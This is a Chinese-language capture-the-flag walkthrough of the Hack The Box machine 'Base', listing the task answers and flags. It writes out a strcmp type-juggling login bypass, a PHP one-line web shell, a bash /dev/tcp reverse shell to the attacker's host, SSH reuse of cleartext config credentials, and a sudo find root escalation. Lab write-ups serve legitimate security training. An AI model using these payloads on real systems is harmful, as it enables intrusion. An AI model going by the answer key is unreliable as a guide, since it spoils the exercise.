文章目录
- [一 题目](#一 题目)
- [二 过程记录](#二 过程记录)
-
- [2.1 打点](#2.1 打点)
- [2.2 权限获取](#2.2 权限获取)
- [2.3 横向移动](#2.3 横向移动)
- [2.4 权限提升](#2.4 权限提升)
一 题目
++Tags
++
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Web、Vulnerability Assessment、Custom Applications、Source Code Analysis、Authentication、Apache、PHP、Reconnaissance、Web Site Structure Discovery、SUDO Exploitation、Authentication bypass、Clear Text Credentials、Arbitrary File Upload、Information Disclosure、PHP type juggling
译文:Web、漏洞评估、自定义应用程序、源代码分析、认证、Apache、PHP、侦察、网站结构发现、SUDO 开发、身份验证绕过、明文凭据、任意文件上传、信息披露、PHP类型杂技
++Connect
++
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To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.
译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。
++SPAWN MACHINE
++
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Spawn the target machine and the IP will show here.
译文:生成目标机器,IP 将显示在此处
++TASK 1
++
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Which two TCP ports are open on the remote host?
译文:远程主机开启了哪两个TCP端口?
答:22,80
++TASK 2
++
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What is the relative path on the webserver for the login page?
译文:登录页面在 Web 服务器上的相对路径是什么?
答:/login/login.php
++TASK 3
++
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How many files are present in the '/login' directory?
译文:"/login"目录中有多少个文件?
答:3
++TASK 4
++
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What is the file extension of a swap file?
译文:swap文件的扩展名是什么?
答:.swp
++TASK 5
++
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Which PHP function is being used in the backend code to compare the user submitted username and password to the valid username and password?
译文:后端代码中使用了哪个 PHP 函数来将用户提交的用户名和密码与有效的用户名和密码进行比较?
答:strcmp()
++TASK 6
++
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In which directory are the uploaded files stored?
译文:上传的文件存储在哪个目录中?
答:/_uploaded
++TASK 7
++
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Which user exists on the remote host with a home directory?
译文:home 目录的远程主机上存在哪个用户?
答:john
++TASK 8
++
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What is the password for the user present on the system?
译文:系统上存在的用户的密码是什么?
答:thisisagoodpassword
++TASK 9
++
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What is the full path to the command that the user john can run as user root on the remote host?
译文:用户 john 可以在远程主机上以 root 用户身份运行的命令的完整路径是什么?
答:/usr/bin/find
++TASK 10
++
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What action can the find command use to execute commands?
译文:find 命令可以使用什么操作来执行命令?
答:exec
++SUBMIT FLAG
++
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Submit user flag
译文:用户flag
答:f54846c258f3b4612f78a819573d158e
++SUBMIT FLAG
++
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Submit root flag
译文:提交root flag
答:51709519ea18ab37dd6fc58096bea949
二 过程记录
2.1 打点
** 1.端口扫描**
c
nmap -sV -sC 10.129.198.121
** 2.访问web页面,并发现敏感信息**
访问80端口,点击Login,页面跳转到 http://10.129.198.121/login/login.php
去掉login.php访问:http://10.129.32.71/login/,发现`登录文件、配置文件、swp文件`
SWP文件
:是一种备份Vim编辑器临时文件的格式。在Vim编辑器意外中断时,SWP文件能够帮助用户恢复丢失的内容。也可以通过手动设置SWAP文件路径环境变量的方式来更改文件存储位置。SWP文件是临时文件,在正确操作的情况下,Vim会自动删除这些文件。
swp文件是一个临时文件,它包含许多非可读的内容,因此可以使用 strings命令来读取这个交换文件, strings命令可以显示人类可读的文本。
php
# strings命令可以查看当前查看的文件类型,并且可以提取文本
strings login.php.swp
执行strings命令,显示如下:
js
b0VIM 8.0
root
base
/var/www/html/login/login.php
3210
#"!
<input type="text" name="username" class="form-control" style="max-width: 30%;" id="username" placeholder="Your Username" required>
<div class="form-group">
<div class="row" align="center">
<form id="login-form" action="" method="POST" role="form" style="background-color:#f8fbfe">
<div class="col-lg-12 mt-5 mt-lg-0">
<div class="row mt-2">
</div>
<p>Use the form below to log into your account.</p>
<h2>Login</h2>
<div class="section-title mt-5" >
<div class="container" data-aos="fade-up">
<section id="login" class="contact section-bg" style="padding: 160px 0">
<!-- ======= Login Section ======= -->
</header><!-- End Header -->
</div>
</nav><!-- .navbar -->
<i class="bi bi-list mobile-nav-toggle"></i>
</ul>
<li><a class="nav-link scrollto action" href="/login.php">Login</a></li>
<li><a class="nav-link scrollto" href="/#contact">Contact</a></li>
<li><a class="nav-link scrollto" href="/#pricing">Pricing</a></li>
<li><a class="nav-link scrollto" href="/#team">Team</a></li>
<li><a class="nav-link scrollto" href="/#services">Services</a></li>
<li><a class="nav-link scrollto" href="/#about">About</a></li>
<li><a class="nav-link scrollto" href="/#hero">Home</a></li>
<ul>
<nav id="navbar" class="navbar">
<!-- <a href="index.html" class="logo"><img src="../assets/img/logo.png" alt="" class="img-fluid"></a>-->
<!-- Uncomment below if you prefer to use an image logo -->
<h1 class="logo"><a href="index.html">BASE</a></h1>
<div class="container d-flex align-items-center justify-content-between">
<header id="header" class="fixed-top">
<!-- ======= Header ======= -->
<body>
</head>
<link href="../assets/css/style.css" rel="stylesheet">
<!-- Template Main CSS File -->
<link href="../assets/vendor/swiper/swiper-bundle.min.css" rel="stylesheet">
<link href="../assets/vendor/remixicon/remixicon.css" rel="stylesheet">
<link href="../assets/vendor/glightbox/css/glightbox.min.css" rel="stylesheet">
<link href="../assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet">
<link href="../assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet">
<link href="../assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<link href="../assets/vendor/aos/aos.css" rel="stylesheet">
<!-- Vendor CSS Files -->
<link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet">
<!-- Google Fonts -->
<link href="../assets/img/apple-touch-icon.png" rel="apple-touch-icon">
<link href="../assets/img/favicon.png" rel="icon">
<!-- Favicons -->
<meta content="" name="keywords">
<meta content="" name="description">
<title>Welcome to Base</title>
<meta content="width=device-width, initial-scale=1.0" name="viewport">
<meta charset="utf-8">
<head>
<html lang="en">
<!DOCTYPE html>
}
print("<script>alert('Wrong Username or Password')</script>");
} else {
}
print("<script>alert('Wrong Username or Password')</script>");
} else {
header("Location: /upload.php");
$_SESSION['user_id'] = 1;
if (strcmp($password, $_POST['password']) == 0) {
if (strcmp($username, $_POST['username']) == 0) {
require('config.php');
if (!empty($_POST['username']) && !empty($_POST['password'])) {
session_start();
<?php
</html>
</body>
<script src="../assets/js/main.js"></script>
查看文件内容,发现文件内容是颠倒的,利用tac命令将文件从尾部到头部重新输出一遍:
php
strings login.php.swp >> file.txt
# mac下使用tail -r命令
tail -r fiel.txt
# linux下使用tac命令
tac file.txt
整理后的文件内容如下:
php
<script src="../assets/js/main.js"></script>
</body>
</html>
<?php
session_start();
if (!empty($_POST['username']) && !empty($_POST['password'])) {
require('config.php');
if (strcmp($username, $_POST['username']) == 0) {
if (strcmp($password, $_POST['password']) == 0) {
$_SESSION['user_id'] = 1;
header("Location: /upload.php");
} else {
print("<script>alert('Wrong Username or Password')</script>");
}
} else {
print("<script>alert('Wrong Username or Password')</script>");
}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta content="width=device-width, initial-scale=1.0" name="viewport">
<title>Welcome to Base</title>
<meta content="" name="description">
<meta content="" name="keywords">
<!-- Favicons -->
<link href="../assets/img/favicon.png" rel="icon">
<link href="../assets/img/apple-touch-icon.png" rel="apple-touch-icon">
<!-- Google Fonts -->
<link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet">
<!-- Vendor CSS Files -->
<link href="../assets/vendor/aos/aos.css" rel="stylesheet">
<link href="../assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<link href="../assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet">
<link href="../assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet">
<link href="../assets/vendor/glightbox/css/glightbox.min.css" rel="stylesheet">
<link href="../assets/vendor/remixicon/remixicon.css" rel="stylesheet">
<link href="../assets/vendor/swiper/swiper-bundle.min.css" rel="stylesheet">
<!-- Template Main CSS File -->
<link href="../assets/css/style.css" rel="stylesheet">
</head>
<body>
<!-- ======= Header ======= -->
<header id="header" class="fixed-top">
<div class="container d-flex align-items-center justify-content-between">
<h1 class="logo"><a href="index.html">BASE</a></h1>
<!-- Uncomment below if you prefer to use an image logo -->
<!-- <a href="index.html" class="logo"><img src="../assets/img/logo.png" alt="" class="img-fluid"></a>-->
<nav id="navbar" class="navbar">
<ul>
<li><a class="nav-link scrollto" href="/#hero">Home</a></li>
<li><a class="nav-link scrollto" href="/#about">About</a></li>
<li><a class="nav-link scrollto" href="/#services">Services</a></li>
<li><a class="nav-link scrollto" href="/#team">Team</a></li>
<li><a class="nav-link scrollto" href="/#pricing">Pricing</a></li>
<li><a class="nav-link scrollto" href="/#contact">Contact</a></li>
<li><a class="nav-link scrollto action" href="/login.php">Login</a></li>
</ul>
<i class="bi bi-list mobile-nav-toggle"></i>
</nav><!-- .navbar -->
</div>
</header><!-- End Header -->
<!-- ======= Login Section ======= -->
<section id="login" class="contact section-bg" style="padding: 160px 0">
<div class="container" data-aos="fade-up">
<div class="section-title mt-5" >
<h2>Login</h2>
<p>Use the form below to log into your account.</p>
</div>
<div class="row mt-2">
<div class="col-lg-12 mt-5 mt-lg-0">
<form id="login-form" action="" method="POST" role="form" style="background-color:#f8fbfe">
<div class="row" align="center">
<div class="form-group">
<input type="text" name="username" class="form-control" style="max-width: 30%;" id="username" placeholder="Your Username" required>
#"!
3210
/var/www/html/login/login.php
base
root
b0VIM 8.0
** 3.代码分析**
如上代码块中:开发人员使用strcmp()来检查用户名和密码的组合,当用户输入正确时,返回0,此时登录成功。
在php中,如果在变量前加上[]
,会把变量转化为数组。如果给strcmp()函数一个空数组($username[] & $password[])
进行比较,结果将返回NULL,==运算符只检查变量的值是否相等,但是NULL的值为0。返回0,则登录成功。也就成功绕过登录。
** 4.使用burpsuite更改请求包绕过登录**
拦截请求包,将username=admin&password=123更改为username[]=admin&password[]=123
,成功绕过登录。发现一个上传页面。
2.2 权限获取
** 5.文件上传漏洞利用**
上传一句话木马
php
<?php echo system($_REQUEST['cmd']);?>
暴力破解上传文件保存路径,发现存在一个_uploaded目录
c
./gobuster dir -u http://10.129.32.71/ -w php.txt
点击访问request.php文件,页面为空
但是如果添加?cmd=id
执行系统命令,执行成功
** 6.获取反弹shell**
攻击机器开启监听ncat -lnvp 1234
对反弹shell进行URL编码
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/bin/bash -c 'bash -i>& /dev/tcp/10.10.14.11/1234 0>&1'
然后在URL中执行,成功拿到shell
2.3 横向移动
访问http://10.129.198.167/login/config.php页面时,页面为空白,此时www-data权限下查看config.php文件,发现用户名和密码:
c
$username = "admin";
$password = "thisisagoodpassword"
列举home目录下的用户,并尝试使用上文获取到的密码thisisagoodpassword切换到john,但是显示需要交互式shell才可以使用su命令
22端口开放,尝试使用ssh连接,john用户登录成功
c
ssh john@10.129.198.167
thisisagoodpassword
获取到john用户的flag
2.4 权限提升
py
# 列出当前用户可以利用sudo执行哪些命令
sudo -l
输出显示:john用户可以以root权限执行find命令
执行以下命令获取root权限
c
sudo find . -exec /bin/sh \; -quit